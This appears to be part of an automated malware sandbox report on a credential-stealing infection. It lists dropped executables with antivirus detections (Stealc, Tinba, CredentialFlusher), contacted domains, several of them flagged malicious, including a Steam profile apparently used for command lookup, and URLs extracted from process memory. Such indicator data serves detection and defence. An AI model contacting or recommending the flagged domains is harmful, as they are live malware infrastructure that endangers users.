C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1000779001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	151.101.129.91	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.185.142	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
normandy.cdn.mozilla.net	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.1539768286.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 0000001B.00000002.2472639943.000001BAB256F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/	file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650084679.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1606776891.0000000001207000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706862907.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.2390476248.000001BA9F0D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA972000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF86000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.o	firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF7A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB22D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFD85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.2450549192.000001BAB080E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB0780000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0810000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB07A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2447977267.000001BAB0503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0808000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript	805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C39783226b5b7f60	file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085812023.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.2417867006.000001BAAD5CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB246000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001B.00000003.2281210409.000001BAAFB47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4L	file.exe, 00000000.00000003.1604077386.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1604053421.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650084679.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.0000000001200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB2259000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
